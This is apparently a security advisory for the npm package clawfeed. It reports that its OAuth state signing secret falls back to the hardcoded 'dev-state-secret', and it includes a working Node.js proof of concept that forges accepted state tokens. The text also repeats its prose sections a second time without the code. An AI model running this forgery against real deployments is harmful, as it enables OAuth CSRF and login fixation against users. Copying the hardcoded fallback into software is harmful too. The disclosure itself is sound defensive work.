Summary
The OAuth state parameter is signed with OAUTH_STATE_SECRET. When no secrets are configured (the default for fresh deployments), the fallback chain ends at the hardcoded string 'dev-state-secret'. An attacker can forge valid OAuth state tokens, enabling CSRF attacks against the OAuth login flow.
Details
The secret resolution at server.mjs:33:
const OAUTH_STATE_SECRET = env.OAUTH_STATE_SECRET ||
process.env.OAUTH_STATE_SECRET ||
SESSION_SECRET ||
API_KEY ||
'dev-state-secret';
The fallback chain ends with a hardcoded, publicly known string. The .env.example ships with all three secrets (OAUTH_STATE_SECRET, SESSION_SECRET, API_KEY) empty, making 'dev-state-secret' the default for any fresh deployment.
The OAuth state is created and verified using HMAC-SHA256 with this secret:
// State creation (simplified):
const body = Buffer.from(JSON.stringify(payload)).toString('base64url');
const sig = createHmac('sha256', OAUTH_STATE_SECRET).update(body).digest('base64url');
const state = body + '.' + sig;
// State verification:
const [b, s] = state.split('.', 2);
const expected = createHmac('sha256', OAUTH_STATE_SECRET).update(b).digest('base64url');
// timingSafeEqual(s, expected)
PoC
Prerequisites: ClawFeed deployed without configuring OAUTH_STATE_SECRET, SESSION_SECRET, or API_KEY (the default).
// Forge a valid OAuth state token using the known hardcoded secret
const { createHmac, timingSafeEqual } = require('crypto');
const secret = 'dev-state-secret'; // Publicly known fallback
const payload = {
origin: 'http://localhost',
redirectUri: 'http://localhost/api/auth/callback',
nonce: 'attacker-controlled',
ts: Date.now()
};
const body = Buffer.from(JSON.stringify(payload)).toString('base64url');
const sig = createHmac('sha256', secret).update(body).digest('base64url');
const forgedState = body + '.' + sig;
// Verify it passes the server's check
const [b, s] = forgedState.split('.', 2);
const expected = createHmac('sha256', secret).update(b).digest('base64url');
const a = Buffer.from(s), bb = Buffer.from(expected);
const valid = a.length === bb.length && timingSafeEqual(a, bb);
console.log(`Forged state: ${forgedState.substring(0, 60)}...`);
console.log(`Verification: ${valid ? 'VERIFIED — forged token accepted' : 'FAILED'}`);
Expected output:
Forged state: eyJvcmlnaW4iOiJodHRwOi8vbG9jYWxob3N0IiwicmVkaXJlY3...
Verification: VERIFIED — forged token accepted
The forged state token passes verifyOAuthState() on any deployment using the default configuration.
Impact
An attacker who knows the publicly visible fallback secret can forge OAuth state tokens, enabling:
- OAuth CSRF: Force a victim to log in with the attacker's Google account (session fixation variant)
- Controlled redirect: Set the
origin field in the forged state to redirect users after OAuth completion
Note: The isAllowedOrigin check partially mitigates the redirect impact by limiting targets to configured origins.
Affected products
- Ecosystem: npm
- Package name: clawfeed
- Affected versions: <= 0.8.1
- Patched versions: None
Severity
- Severity: Medium
- Vector string:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Weaknesses
- CWE-798: Use of Hard-coded Credentials
Summary
The OAuth state parameter is signed with
OAUTH_STATE_SECRET. When no secrets are configured (the default for fresh deployments), the fallback chain ends at the hardcoded string'dev-state-secret'. An attacker can forge valid OAuth state tokens, enabling CSRF attacks against the OAuth login flow.Details
The secret resolution at
server.mjs:33:The fallback chain ends with a hardcoded, publicly known string. The
.env.exampleships with all three secrets (OAUTH_STATE_SECRET,SESSION_SECRET,API_KEY) empty, making'dev-state-secret'the default for any fresh deployment.The OAuth state is created and verified using HMAC-SHA256 with this secret:
PoC
Prerequisites: ClawFeed deployed without configuring
OAUTH_STATE_SECRET,SESSION_SECRET, orAPI_KEY(the default).Expected output:
The forged state token passes
verifyOAuthState()on any deployment using the default configuration.Impact
An attacker who knows the publicly visible fallback secret can forge OAuth state tokens, enabling:
originfield in the forged state to redirect users after OAuth completionNote: The
isAllowedOrigincheck partially mitigates the redirect impact by limiting targets to configured origins.Affected products
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:NWeaknesses